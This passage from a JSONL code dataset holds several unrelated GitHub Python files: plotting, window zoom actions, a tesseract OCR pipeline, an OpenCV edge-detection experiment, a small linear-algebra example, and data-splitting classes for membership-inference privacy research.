features_list[list(indices)[idx]]\n\n return features_list, importances, std, indices, rmse, r2, r, predictions, in_situ, features_list_new\n\n\nfeatures_list0, importances0, std0, indices0, rmse0, r20, r0, predictions0, in_situ0, features_list0_new = read_nc(\n file_feature0)\nfeatures_list1, importances1, std1, indices1, rmse1, r21, r1, predictions1, in_situ1, features_list1_new = read_nc(\n file_feature1)\n\n\ndef draw_testing_result(in_situ_SSM, predicted_ssm, rmse, r, save_path, show_figure=0):\n plt.figure()\n # label of the axis.\n plt.xlabel(r'In-situ soil moisture [$cm^3/cm^3$]', fontsize=12)\n plt.ylabel(r'Estimated soil moisture [$cm^3/cm^3$]', fontsize=12)\n # plot the data with the density (number of pixels)\n h = hist2d(list(in_situ_SSM), list(predicted_ssm), bins=40, cmap='PuBu',\n range=[[0, 0.4], [0, 0.4]])\n cb = plt.colorbar()\n cb.set_label('Numbers of points')\n # Add 1:1 line\n x = np.arange(0, 0.4, 0.1, dtype=float)\n y = x\n # Add the information of RMSE and r on the figure.\n plt.text(0.1, 0.35, 'RMSE: %.2f' % rmse, fontdict={'size': 12})\n plt.text(0.1, 0.3, 'r: %.2f' % r, fontdict={'size': 12})\n plt.text(0.1, 0.25, 'Num: %d' % len(predicted_ssm), fontdict={'size': 12})\n\n plt.plot(x, y, color='black')\n plt.savefig(save_path, dpi=300)\n if show_figure == 0:\n plt.close()\n\n\ndef draw_feature_importance(feature_list_new, importances, indices, std, save_path, show_figure=0):\n plt.figure(figsize=(12, 6))\n plt.barh(range(len(feature_list_new)), importances[indices],\n xerr=std[indices], align='center')\n plt.yticks(range(len(feature_list_new)), feature_list_new, fontsize=20)\n plt.ylim(-1, len(feature_list_new))\n # Add the labels\n # plt.ylabel('Name of Features', fontsize=10)\n plt.xlabel('Relative Importance', fontsize=12)\n plt.xticks(fontsize=12)\n plt.yticks(fontsize=12)\n plt.savefig(save_path, dpi=300)\n if show_figure == 0:\n plt.close()\n\n\ndraw_testing_result(in_situ0, predictions0, rmse0, r0, 'Test_withoutgeo.jpg')\ndraw_testing_result(in_situ1, predictions1, rmse1, r1, 'Test_geo.jpg')\n\n\ndraw_feature_importance(features_list0_new, importances0, indices0, std0, 'Importance_withoutgeo.jpg')\ndraw_feature_importance(features_list1_new, importances1, indices1, std1, 'Importance_geo.jpg')\n\n\n","repo_name":"Super-LeoJayZhang/Insitu_constrained_RF_SSM","sub_path":"Draw_feature_importance_testing.py","file_name":"Draw_feature_importance_testing.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"6474118691","text":"import InfiniteGlass\nimport math\nfrom .. import mode\n\ndef zoom(self, factor, around_aspect=(0.5, 0.5), around_pos=None, view=\"IG_VIEW_DESKTOP_VIEW\"):\n \"Zoom the screen in or out\"\n screen = list(self.display.root[view])\n if around_pos is None:\n around_pos = (screen[0] + screen[2] * around_aspect[0],\n screen[1] + screen[3] * around_aspect[1])\n else:\n around_aspect = ((around_pos[0] - screen[0]) / screen[2],\n (around_pos[1] - screen[1]) / screen[3])\n screen[2] *= factor\n screen[3] *= factor\n screen[0] = around_pos[0] - screen[2] * around_aspect[0]\n screen[1] = around_pos[1] - screen[3] * around_aspect[1]\n self.display.root[view] = screen\n\ndef zoom_in(self, event):\n \"Zoom the screen in one step\"\n zoom(self, 1 / 1.1)\n\ndef zoom_out(self, event):\n \"Zoom the screen out one step\"\n zoom(self, 1.1)\n","repo_name":"redhog/InfiniteGlass","sub_path":"glass-input/glass_input/actions/zoom.py","file_name":"zoom.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"62"} +{"seq_id":"9712574714","text":"#문자열 word가 주어질 때, 해당 문자열에서 a 가 처음으로 등장하는 위치(index)를 출력해주세요.\n#a 가 없는 경우에는 -1을 출력해주세요.\n#find() index() 메서드 사용 금지\n\n\n\n\nword = input()\nn = 0\nfor idx in word:\n if idx == 'a': \n print(n)\n break\n else:\n n += 1 \nif 'a' not in word:\n print(-1)\n","repo_name":"wsm0409/TIL","sub_path":"python/Checkup/checkup_practice15-1.py","file_name":"checkup_practice15-1.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31959038807","text":"'''\nInstatiate all boxes\n'''\nimport numpy as np\nimport re\nimport os\n\noptions = '-psm 7' #For OCR, treat the image as a single line of text\nocr_path = 'ocr/' #Directory where all OCR text is stored\n\ndef read_file(file_path):\n text_obj = open(file_path)\n text = text_obj.read()\n if text == None:\n return str('')\n return text\n\ndef recognize_text(document_structure):\n '''\n Call tesseract from python\n '''\n file_num = 0\n for i, ctr in enumerate(document_structure):\n group = ctr['group']\n\n for j, line in enumerate(group):\n\n image_file = line['filename']\n regex = re.compile(r'/([a-zA-Z0-9_ -]+)+\\.')\n\n onlyfilename = str(regex.search(image_file).group(1)) #If imagefile is img/miller0BW.crop.png0.png, then onlyfilename is miller0BW \n out_file = ocr_path + onlyfilename + str(file_num)\n line['textFile'] = out_file + '.txt'\n\n cmd = 'tesseract ' + image_file + ' ' + out_file + ' ' + options\n os.system(cmd) #Invoke a child process that calls tesseract\n line['text'] = read_file(line['textFile']) #Read in the file containing the recognized text and assign it to the line's text attribute\n\n file_num = file_num + 1\n\n return document_structure\n\ndef assign_line_type(document_structure):\n '''\n If the first line of a group is the only one that has the maximum height within its group and that line isn't the only line in the group, \n assign it title. \n If the line is the only line in the group, it can be assigned title only if it is the biggest among the\n whole document structure. All others are assigned section.\n A more advanced grouping is expected later on through standard deviation between gaps as this method is quite basic.\n \n Also if the line heights aren't too different from each others, then we should treat them equal\n \n Edit:\n A line is a title, when its height is greater than the 75th percentile among all heights. \n If there are more than one\n line in a group, then the line must be the first one in the group to be a title and it must be the only one with that max height.\n No need for further grouping since the dilation is sensitive to the grouping\n '''\n flatten_group_arr = reduce(lambda x,y: x+y,[group['group'] for group in document_structure]) \n all_line_height_arr = [line['line_height'] for line in flatten_group_arr]\n maxpercentile = np.percentile(all_line_height_arr, 75)\n\n for i, ctr in enumerate(document_structure):\n group = ctr['group']\n\n for j, line in enumerate(group):\n if i == 0 and j == 0 and line['line_height'] > maxpercentile:\n line['type'] = 'Title'\n elif j == 0 and line['line_height'] > maxpercentile:\n line['type'] = 'Heading'\n else:\n line['type'] = 'Line'\n\n return document_structure\n \n\n","repo_name":"theTrueCaptian/PDFImageProcessing","sub_path":"textureCore/image_processing/box/assign_attributes.py","file_name":"assign_attributes.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"73358748038","text":"# import the necessary packages\nfrom scipy.spatial import distance as dist\nfrom imutils import perspective\nfrom imutils import contours\nimport numpy as np\nimport imutils\nimport cv2\n\nKEY_ESC = 27\nKEY_SPACE = 32\nKEY_BACKSPACE = 8\n\nPHOTO_PATH = \"str2/0_str2_0_max_Normal.jpg\"\nONE_INCH_IN_MILLIMETERS = 25.4\nONE_MILLIMETER_IN_INCHES = 1 / 25.4\nREF_OBJ_SIZE_IN_MILLIMETERS = 0.1 # 0.1 mm = 0.003937 inch\nREF_OBJ_SIZE_IN_INCH = ONE_MILLIMETER_IN_INCHES * REF_OBJ_SIZE_IN_MILLIMETERS # 0.1 mm = 0.003937 inch\nPIXELS_PER_MILLIMETER = None\n\n\ndef midpoint(ptA, ptB):\n return (ptA[0] + ptB[0]) * 0.5, (ptA[1] + ptB[1]) * 0.5\n\n\ndef increase_contrast(imgToContrast):\n # -----Converting image to LAB Color model-----------------------------------\n lab = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\n # cv2.imshow(\"lab\", lab)\n # -----Splitting the LAB image to different channels-------------------------\n l, a, b = cv2.split(lab)\n # cv2.imshow('l_channel', l)\n # cv2.imshow('a_channel', a)\n # cv2.imshow('b_channel', b)\n # -----Applying CLAHE to L-channel-------------------------------------------\n clahe = cv2.createCLAHE(clipLimit=1.0, tileGridSize=(128, 128))\n cl = clahe.apply(l)\n # cv2.imshow('CLAHE output', cl)\n # -----Merge the CLAHE enhanced L-channel with the a and b channel-----------\n limg = cv2.merge((cl, a, b))\n # cv2.imshow('limg', limg)\n # -----Converting image from LAB Color model to RGB model--------------------\n final = cv2.cvtColor(limg, cv2.COLOR_LAB2BGR)\n # cv2.imshow('final', final)\n # _____END_____#\n return final\n\n\n# Find edges using canny edge detector\ndef auto_canny(grayim, sigma=0.33, v=202):\n # compute the median of the single channel pixel intensities\n # v = np.median(grayim) # 202.0\n # v = np.float64(20)\n # apply automatic Canny edge detection using the computed median\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n edgedd = cv2.Canny(grayim, lower, upper)\n # return the edged image\n return edgedd\n\n\n# Find edges using canny edge detector\ndef auto_canny_default(grayim):\n # compute the median of the single channel pixel intensities\n # v = np.median(grayim) # 202.0\n sigma = 0.33\n v = np.float64(20)\n print(f\"Before Canny Median {v}\")\n print(f\"V is {type(v)}\")\n # apply automatic Canny edge detection using the computed median\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n edged = cv2.Canny(grayim, lower, upper)\n # return the edged image\n return edged\n\n\ndef find_contours_and_draw_them(img, edged, window_name):\n global PIXELS_PER_MILLIMETER\n # find contours in the edge map\n # cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n # cv2.CHAIN_APPROX_SIMPLE)\n cnts = cv2.findContours(edged.copy(), cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n # sort the contours from left-to-right and initialize the\n # 'pixels per metric' calibration variable\n (cnts, _) = contours.sort_contours(cnts)\n # loop over the contours individually\n orig = img.copy()\n for c in cnts:\n # if the contour is not sufficiently large, ignore it\n if cv2.contourArea(c) < 255:\n continue\n\n # compute the rotated bounding box of the contour\n # orig = cv2.cvtColor(edged.copy(), cv2.COLOR_GRAY2BGR)\n box = cv2.minAreaRect(c)\n box = cv2.cv.BoxPoints(box) if imutils.is_cv2() else cv2.boxPoints(box)\n box = np.array(box, dtype=\"int\")\n\n # order the points in the contour such that they appear\n # in top-left, top-right, bottom-right, and bottom-left\n # order, then draw the outline of the rotated bounding\n # box\n box = perspective.order_points(box)\n cv2.drawContours(orig, [box.astype(\"int\")], -1, (0, 255, 0), 1)\n\n # loop over the original points and draw them\n for (x, y) in box:\n cv2.circle(orig, (int(x), int(y)), 1, (0, 0, 255), -1)\n\n # unpack the ordered bounding box, then compute the midpoint\n # between the top-left and top-right coordinates, followed by\n # the midpoint between bottom-left and bottom-right coordinates\n (tl, tr, br, bl) = box\n (tltrX, tltrY) = midpoint(tl, tr)\n (blbrX, blbrY) = midpoint(bl, br)\n\n # compute the midpoint between the top-left and top-right points,\n # followed by the midpoint between the top-righ and bottom-right\n (tlblX, tlblY) = midpoint(tl, bl)\n (trbrX, trbrY) = midpoint(tr, br)\n\n # draw the midpoints on the image\n # cv2.circle(orig, (int(tltrX), int(tltrY)), 1, (255, 0, 0), -1)\n # cv2.circle(orig, (int(blbrX), int(blbrY)), 1, (255, 0, 0), -1)\n # cv2.circle(orig, (int(tlblX), int(tlblY)), 1, (255, 0, 0), -1)\n # cv2.circle(orig, (int(trbrX), int(trbrY)), 1, (255, 0, 0), -1)\n\n # draw lines between the midpoints\n # cv2.line(orig, (int(tltrX), int(tltrY)), (int(blbrX), int(blbrY)),\n # (255, 0, 255), 1)\n # cv2.line(orig, (int(tlblX), int(tlblY)), (int(trbrX), int(trbrY)),\n # (255, 0, 255), 1)\n\n # compute the Euclidean distance between the midpoints\n dA = dist.euclidean((tltrX, tltrY), (blbrX, blbrY))\n dB = dist.euclidean((tlblX, tlblY), (trbrX, trbrY))\n # if the pixels per metric has not been initialized, then\n # compute it as the ratio of pixels to supplied metric\n # (in this case, inches)\n if PIXELS_PER_METRIC is None:\n PIXELS_PER_METRIC = dB / REF_OBJ_SIZE_IN_INCH\n # compute the size of the object\n dimA = dA / PIXELS_PER_METRIC\n dimB = dB / PIXELS_PER_METRIC\n # draw the object sizes on the image\n # cv2.putText(orig, \"{:.1f}in\".format(dimA),\n # (int(tltrX - 15), int(tltrY - 10)), cv2.FONT_HERSHEY_SIMPLEX,\n # 0.65, (255, 255, 255), 1)\n # cv2.putText(orig, \"{:.1f}in\".format(dimB),\n # (int(trbrX + 10), int(trbrY)), cv2.FONT_HERSHEY_SIMPLEX,\n # 0.65, (255, 255, 255), 1)\n # show the output image\n cv2.imshow(window_name, orig)\n return cv2.waitKey(0)\n\n\n# START\n# STEP1 - Read image and define pixel size\nimg = cv2.imread(PHOTO_PATH, cv2.IMREAD_COLOR)\ncv2.imshow(\"img\", img)\ncv2.waitKey(0)\n# # Sharpen image\n# kernel = np.array([[-1.1, -1.1, -1.1],\n# [-1.1, 9.8, -1.1],\n# [-1.1, -1.1, -1.1]])\n# sharpened = cv2.filter2D(img, -1, kernel) # applying the sharpening kernel to the input image & displaying it.\n# cv2.imshow('Sharpened', sharpened)\n# cv2.waitKey(0)\n# cv2.imshow(\"contrast0\", img)\n# cv2.waitKey(0)\n# contrast1 = increase_contrast(contrast0.copy())\n# cv2.imshow(\"contrast1\", contrast1)\n# cv2.waitKey(0)\n# contrast2 = increase_contrast(contrast1.copy())\n# cv2.imshow(\"contrast2\", contrast2)\n# cv2.waitKey(0)\n\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# Step 2: Denoising, if required and threshold image\n\n# No need for any denoising or smoothing as the image looks good.\n# Otherwise, try Median or NLM\n# plt.hist(img.flat, bins=100, range=(0,255))\n\n# Change the grey image to binary by thresholding.\n# ret, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n# print(ret) #Gives 157 on grains2.jpg. OTSU determined this to be the best threshold.\n\n# View the thresh image. Some boundaries are ambiguous / faint.\n# Some pixles in the middle.\n# Need to perform morphological operations to enhance.\n# cv2.imshow(\"thershold\", thresh)\n# cv2.waitKey(0)\n\n\nd = 4\nsigmaParam = 1\ncannySigma = 0.11\ncannyV = 30\nblurred = gray.copy()\n# temp = cv2.bilateralFilter(gray.copy(), d, sigmaParam, sigmaParam)\n# edged = auto_canny_default(temp)\nblrCount = 0\n# cv2.imshow(f\"auto_canny_default\", edged)\n# cv2.waitKey(0)\ntemp = gray.copy()\nfor n in range(5001):\n key = None\n temp = cv2.bilateralFilter(temp.copy(), d, sigmaParam, sigmaParam)\n if n % 100 == 0:\n cv2.imshow(f\"blur {n}\", temp)\n key = cv2.waitKey(0)\n if key == KEY_ESC:\n break\n elif key == KEY_BACKSPACE:\n continue\n # contrast = increase_contrast(temp)\n # cv2.imshow(f\"Contrast {n}\", contrast)\n # cv2.waitKey(0)\n # # Sharpen image\n # kernel = np.array([[-1.0, -1.1, -1.0],\n # [-1.0, 8.5, -1.0],\n # [-1.0, -1.0, -1.0]])\n # sharpened = cv2.filter2D(temp, -1, kernel) # applying the sharpening kernel to the input image & displaying it.\n # cv2.imshow(f\"Sharpened {n}\", sharpened)\n # cv2.waitKey(0)\n for i in range(11):\n for j in range(15):\n print(\"i:\", i)\n print(\"j:\", j)\n if i > 2 and j > 2:\n sigma = i / 10\n v = j * 20\n edged = auto_canny(temp.copy(), sigma, v)\n # cv2.imshow(f\"Blur {blrCount}, auto_canny i: {i} j: {j} sigma: [{sigma}] v: [{v}]\",\n # edged)\n # key = cv2.waitKey(0)\n edged = cv2.dilate(edged, None, iterations=1)\n # cv2.imshow(f\"Dilated {blrCount}, auto_canny i: {i} j: {j} sigma: [{sigma}] v: [{v}]\",\n # edged)\n # cv2.waitKey(0)\n edged = cv2.erode(edged, None, iterations=1)\n # cv2.imshow(f\"Eroded {blrCount}, auto_canny i: {i} j: {j} sigma: [{sigma}] v: [{v}]\",\n # edged)\n # cv2.waitKey(0)\n key = find_contours_and_draw_them(cv2.cvtColor(temp, cv2.COLOR_GRAY2BGR), edged,\n f\"Contours {blrCount}, auto_canny i: {i} j: {j} sigma: [{sigma}] v: [{v}]\")\n if key == KEY_ESC:\n break\n elif key == KEY_BACKSPACE:\n break\n if key == KEY_ESC:\n break\n elif key == KEY_BACKSPACE:\n continue\n else:\n continue\n blrCount += 1\n# blurs = [temp]\n# # perform edge detection, then perform a dilation + erosion to\n# # close gaps in between object\n# blrCount = 0\n# for blr in blurs:\n# edged = blr.copy()\n# edged = auto_canny_default(edged)\n# cv2.imshow(f\"Blur {blrCount}, auto_canny default params\", edged)\n# cv2.waitKey(0)\n# key = None\n# for i in range(20):\n# for j in range(25):\n# edged = auto_canny(blr, i / 10, j * 10)\n# cv2.imshow(f\"Blur {blrCount}, auto_canny i: {i} j: {j} sigma: [{i/10}] v: [{j*10}]\", edged)\n# key = cv2.waitKey(0)\n# if key == KEY_ESC:\n# break\n# elif key == KEY_BACKSPACE:\n# break\n# else:\n# continue\n# if key == KEY_ESC:\n# break\n# elif key == KEY_BACKSPACE:\n# continue\n# else:\n# continue\n# blrCount += 1\n# blrCount = 0\n# for blr in blurs:\n# edged = blr.copy()\n# key = None\n# blrCount += 1\n# for i in range(21):\n# for j in range(21):\n# edged = cv2.Canny(blr, 20*i, 20*j, edged, L2gradient=cv2.NORM_L2)\n# cv2.imshow(f\"Blur {blrCount}, Edged i: {i} j: {j} threshold1: [{20*i}] threshold2: [{20*j}]\", edged)\n# key = cv2.waitKey(0)\n# if key == KEY_ESC:\n# break\n# elif key == KEY_BACKSPACE:\n# break\n# else:\n# continue\n# if key == KEY_ESC:\n# break\n# elif key == KEY_BACKSPACE:\n# continue\n# else:\n# continue\n# edged = cv2.Canny(gray, 60, 200, L2gradient=cv2.NORM_L2)\n# cv2.imshow(\"Edged2\", edged)\n# cv2.waitKey(0)\n# edged = cv2.Canny(gray, 60, 255, L2gradient=cv2.NORM_L2)\n# cv2.imshow(\"Edged3\", edged)\n# cv2.waitKey(0)\n# edged = cv2.Canny(gray, 60, 2048, L2gradient=cv2.NORM_L2)\n# cv2.imshow(\"Edged4\", edged)\n# cv2.waitKey(0)\n\n# edged = cv2.dilate(edged, None, iterations=1)\n# cv2.imshow(\"Dilated\", edged)\n# cv2.waitKey(0)\n# edged = cv2.erode(edged, None, iterations=1)\n# cv2.imshow(\"Eroded\", edged)\n# cv2.waitKey(0)\n","repo_name":"GeotechSpzoo/scale-calculating-program","sub_path":"canny_01.py","file_name":"canny_01.py","file_ext":"py","file_size_in_byte":12444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6347815205","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct 21 15:49:12 2017\r\n\r\n@author: Knowhow\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom scipy import linalg\r\n\r\narr = np.array([[1, 2],\r\n\r\n [3, 4]])\r\n\r\nprint (linalg.det(arr))\r\n\r\n\r\n\r\n\r\n\r\narr = np.array([[1, 2],\r\n\r\n [3, 4]])\r\n\r\niarr = linalg.inv(arr)\r\n\r\nprint (iarr)","repo_name":"MarcusRenshaw/Fusion-MSc","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22355413482","text":"from abc import abstractmethod\nfrom enum import Enum\nfrom typing import List, Dict\n\nimport numpy as np\nimport pandas as pd\nimport scipy.sparse as sp\nfrom scipy.io import arff\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler, OneHotEncoder\n\n\nclass DataSplit(Enum):\n \"\"\"\n Prepare data splits. The main idea here is that we need to carve out a subset of the\n target model's training data for training and testing the attack (attack_train_in and\n attack_test_in). The part of the target model's training data that is not used for the\n attacks is target_additional_train. We also need to set aside some data that was not used\n for training the target model (attack_train_out and attack_test_out). Finally, we need data\n for tuning and testing the target model itself (target_valid, target_test).\n Note that we first do these finer granularity splits, and then merge them to form the\n appropriate train and test sets for the target model and the attack model.\n\n This is a convenience class for specifying the data split ratios. This works for the attacks\n implemented currently, but we can change or use another split for future attacks.\n This is why the Dataset class implements more general data splitting and merging functions.\n\n \"\"\"\n\n ATTACK_TRAIN_IN = 0\n ATTACK_TRAIN_OUT = 1\n ATTACK_TEST_IN = 2\n ATTACK_TEST_OUT = 3\n TARGET_ADDITIONAL_TRAIN = 4\n TARGET_VALID = 5\n TARGET_TEST = 6\n\n\nclass TargetModelData:\n \"\"\"\n Convenience class to easily pass around the dataset prepared for training and testing\n the target model\n \"\"\"\n\n def __init__(\n self,\n X_target_train,\n y_target_train,\n X_target_valid,\n y_target_valid,\n X_target_test,\n y_target_test,\n ):\n \"\"\"\n Create Target Model Data\n All X variables are {array-like, sparse matrix} of shape (n_samples, n_features),\n where ``n_samples`` is the number of samples and ``n_features`` is the number of features.\n\n Parameters\n ----------\n X_target_train: {array-like, sparse matrix} of shape (n_samples, n_features)\n Input variables used to train the target model.\n y_target_train: ndarray of shape (n_samples,)\n Output labels used to train the target model.\n X_target_valid: {array-like, sparse matrix} of shape (n_samples, n_features)\n Input variables used to tune the target model.\n y_target_valid: ndarray of shape (n_samples,)\n Output variables used to tune the target model.\n X_target_test: {array-like, sparse matrix} of shape (n_samples, n_features)\n Input variables used to test the target model.\n y_target_test: ndarray of shape (n_samples,)\n Output variables used to test the target model.\n\n \"\"\"\n self.X_target_train = X_target_train\n self.y_target_train = y_target_train\n self.X_target_valid = X_target_valid\n self.y_target_valid = y_target_valid\n self.X_target_test = X_target_test\n self.y_target_test = y_target_test\n\n\nclass AttackModelData:\n \"\"\"\n Convenience class to easily pass around the dataset prepared for training and testing\n the attack model\n \"\"\"\n\n def __init__(\n self,\n X_attack_train,\n y_attack_train,\n y_membership_train,\n X_attack_test,\n y_attack_test,\n y_membership_test,\n ):\n \"\"\"\n Create Attack Model Data\n\n All X variables are {array-like, sparse matrix} of shape (n_samples, n_features),\n where `n_samples` is the number of samples and n_features` is the number of features.\n All y variables are ndarray of shape (n_samples,)\n\n Parameters\n ----------\n X_attack_train: {array-like, sparse matrix} of shape (n_samples, n_features)\n Input variables for the dataset on which we want to train\n the attack model. These are the original features (not attack/membership features)\n y_attack_train: ndarray of shape (n_samples,)\n Output labels for the dataset on which we want to train\n the attack model. These are the original labels (not membership labels)\n y_membership_train: ndarray of shape (n_samples,)\n Membership labels for the dataset on which we want to train\n the attack model. These are binary and indicate whether the data point was included\n X_attack_test: {array-like, sparse matrix} of shape (n_samples, n_features)\n Input variables for the dataset on which to run the attack model.\n These are the original features (not attack/membership features)\n y_attack_test: ndarray of shape (n_samples,)\n Output labels for the dataset on which to run the attack model.\n These are the original labels (not membership labels)\n y_membership_test: ndarray of shape (n_samples,)\n Membership labels for the dataset on which we want to run\n the attack model. These are binary and indicate whether the data point was included\n in the training dataset of the target model, and helps us evaluate the attack model's\n accuracy.\n\n \"\"\"\n self.X_attack_train = X_attack_train\n self.y_attack_train = y_attack_train\n self.y_membership_train = y_membership_train\n self.X_attack_test = X_attack_test\n self.y_attack_test = y_attack_test\n self.y_membership_test = y_membership_test\n\n\nclass Dataset:\n \"\"\"\n Wrapper for the dataset that also maintains various data splits that are required for\n carrying out the attacks.\n Also implements utility methods for generating attack sets\n \"\"\"\n\n def __init__(self, name: str = None, df_x=None, df_y=None):\n \"\"\"\n Create the dataset wrapper.\n\n Parameters\n ----------\n name: str\n Name for this dataset.\n df_x: {array-like, sparse matrix} of shape (n_samples, n_feature),\n where ``n_samples`` is the number of samples and ``n_features`` is the number of features.\n df_y: darray of shape (n_samples,)\n Output labels.\n\n \"\"\"\n self.name = name\n self.df_x, self.df_y = df_x, df_y\n self.splits = {}\n\n def split_dataset(\n self, seed: int, split_array: List[float], split_names: List[str] = None\n ):\n \"\"\"\n Splits dataset according to the specified fractions.\n\n Parameters\n ----------\n seed: int\n Random seed for creating the splits.\n split_array: List[float]\n Array of fractions to split the data in. Must sum to 1.\n split_names: List[str]\n Names assigned to the splits.\n\n Returns\n -------\n dict\n dict of string to tuple of df_x and df_y of the splits\n Dictionary of splits, with keys as the split names and values as the splits\n\n \"\"\"\n assert np.round(np.sum(split_array), 3) == 1.0\n if split_names is not None:\n assert len(split_array) == len(split_names)\n\n x_2, y_2 = (\n self.df_x,\n self.df_y,\n ) # using these variables as portion to be split next\n test_size = np.sum(split_array[1:])\n for i in range(len(split_array)):\n split_name = split_names[i] if split_names is not None else \"d\" + str(i)\n if test_size != 0:\n x_1, x_2, y_1, y_2 = train_test_split(\n x_2, y_2, test_size=test_size, random_state=seed\n )\n self.splits[split_name] = [x_1, y_1]\n test_size = 1 - (\n split_array[i + 1] / np.sum(split_array[i + 1 :])\n ) # calculate the new ratio, based on the size of the remaining data\n else:\n self.splits[split_name] = [x_2, y_2] # add the last split\n for key in self.splits.keys():\n print(key + \"\\t\" + str(len((self.splits[key])[1])))\n return self.splits\n\n def _sample_from_split(self, split_name: str, frac: float = None, seed: int = 42):\n \"\"\"\n Sample a small fraction of the data.\n\n Parameters\n ----------\n split_name: str\n The dataset from which we're selecting the sample.\n frac: float\n fraction to sample.\n seed: int\n random seed.\n\n Returns\n -------\n {array-like, sparse matrix} of shape (n_samples, n_feature), darray of shape (n_samples,)\n data sample\n\n \"\"\"\n x_split, y_split = self.splits[split_name]\n x_sample, _, y_sample, _ = train_test_split(\n x_split, y_split, test_size=1 - frac, random_state=seed\n )\n return x_sample, y_sample\n\n def get_merged_sets(self, split_names: List[str]):\n \"\"\"\n Merge multiple splits of data.\n\n Parameters\n ----------\n split_names: List[str]\n Names of splits to be merged.\n\n Returns\n -------\n {array-like, sparse matrix} of shape (n_samples, n_feature), darray of shape (n_samples,)\n Merged datasets.\n\n \"\"\"\n x_splits = []\n y_splits = []\n for split_name in split_names:\n x_split, y_split = self.splits[split_name]\n x_splits.append(x_split)\n y_splits.append(y_split)\n x_merged = (\n sp.vstack(x_splits)\n if (sp.issparse(x_splits[0]))\n else np.concatenate(x_splits)\n )\n y_merged = pd.concat(y_splits)\n return x_merged, y_merged\n\n def _create_attack_set(self, X_attack_in, y_attack_in, X_attack_out, y_attack_out):\n \"\"\"\n Given the splits that correspond to attack in and out sets, generate the full attack\n set.\n\n Parameters\n ----------\n X_attack_in: {array-like, sparse matrix} of shape (n_samples, n_feature),\n Input features of the attack data points included during training\n the target model.\n y_attack_in: darray of shape (n_samples,)\n Output labels of the attack data points included during training\n the target model.\n X_attack_out: {array-like, sparse matrix} of shape (n_samples, n_feature),\n Input features of the attack data points not included\n during training the target model.\n y_attack_out: darray of shape (n_samples,)\n Output labels of the attack data points not included\n during training the target model.\n\n Returns\n -------\n {array-like, sparse matrix} of shape (n_samples, n_feature), darray of shape (n_samples,), darray of shape (n_samples,)\n\n \"\"\"\n y_membership = []\n X_attack = (\n sp.vstack((X_attack_in, X_attack_out))\n if (sp.issparse(X_attack_out))\n else np.concatenate((X_attack_in, X_attack_out))\n )\n y_attack = pd.concat([y_attack_in, y_attack_out])\n\n for _i in range((X_attack_in).shape[0]):\n y_membership.append(1)\n for _i in range((X_attack_out).shape[0]):\n y_membership.append(0)\n\n return X_attack, y_attack, y_membership\n\n def create_attack_set_from_splits(self, attack_in_set_name, attack_out_set_name):\n \"\"\"\n Given the splits that correspond to attack in and out sets, generate the full attack\n set.\n\n Parameters\n ----------\n attack_in_set_name:\n Dataset that was included as part of the training set of the target model.\n attack_out_set_name:\n Dataset that was not included as part of the training set of the target model.\n\n Returns\n -------\n {array-like, sparse matrix} of shape (n_samples, n_feature), darray of shape (n_samples,), darray of shape (n_samples,)\n Input features and output labels of the attack data points, along with their\n membership label (0-1 label that says whether or not they were included during training\n the target model)\n\n \"\"\"\n X_attack_in, y_attack_in = self.splits[attack_in_set_name]\n X_attack_out, y_attack_out = self.splits[attack_out_set_name]\n return self._create_attack_set(\n X_attack_in, y_attack_in, X_attack_out, y_attack_out\n )\n\n # sample a fraction of the train set to create attack in set, and merge with the given\n # out set to generate the full attack set\n def create_attack_set_by_sampling_from_train(\n self, train_set_name, train_fraction, attack_out_set_name, seed=42\n ):\n X_attack_in, y_attack_in = self._sample_from_split(\n train_set_name, frac=train_fraction, seed=seed\n )\n X_attack_out, y_attack_out = self.splits[attack_out_set_name]\n return self._create_attack_set(\n X_attack_in, y_attack_in, X_attack_out, y_attack_out\n )\n\n @abstractmethod\n def load_data(\n self,\n source_file,\n header: bool = None,\n target_ix: int = None,\n ignore_ix: List[int] = None,\n ):\n \"\"\"\n Method that specifies how the data should be loaded. Mainly applicable for tabular data\n\n Parameters\n ----------\n source_file: os.path\n Filename of the source file.\n header: bool\n Whether to contain header.\n target_ix: int\n Index of the target variable.\n ignore_ix: List[int]\n Indices to be ignored.\n\n Returns\n -------\n pandas dataframe of shape (n_samples, n_feature), pandas df of shape (n_samples,)\n Input features and output labels.\n\n \"\"\"\n pass\n\n\nclass ClassificationDataset(Dataset):\n \"\"\"\n Generic classification dataset in a tabular format, read in a somewhat consistent manner\n \"\"\"\n\n def __init__(self, name, df_x=None, df_y=None):\n \"\"\"\n Create a Classification Dataset wrapper.\n\n Parameters\n ----------\n name: str\n Name of the dataset\n df_x: {array-like, sparse matrix} of shape (n_samples, n_feature),\n where ``n_samples`` is the number of samples and ``n_features`` is the number of features.\n df_y: darray of shape (n_samples,)\n Output labels.\n\n \"\"\"\n self.df_x = df_x\n self.df_y = df_y\n 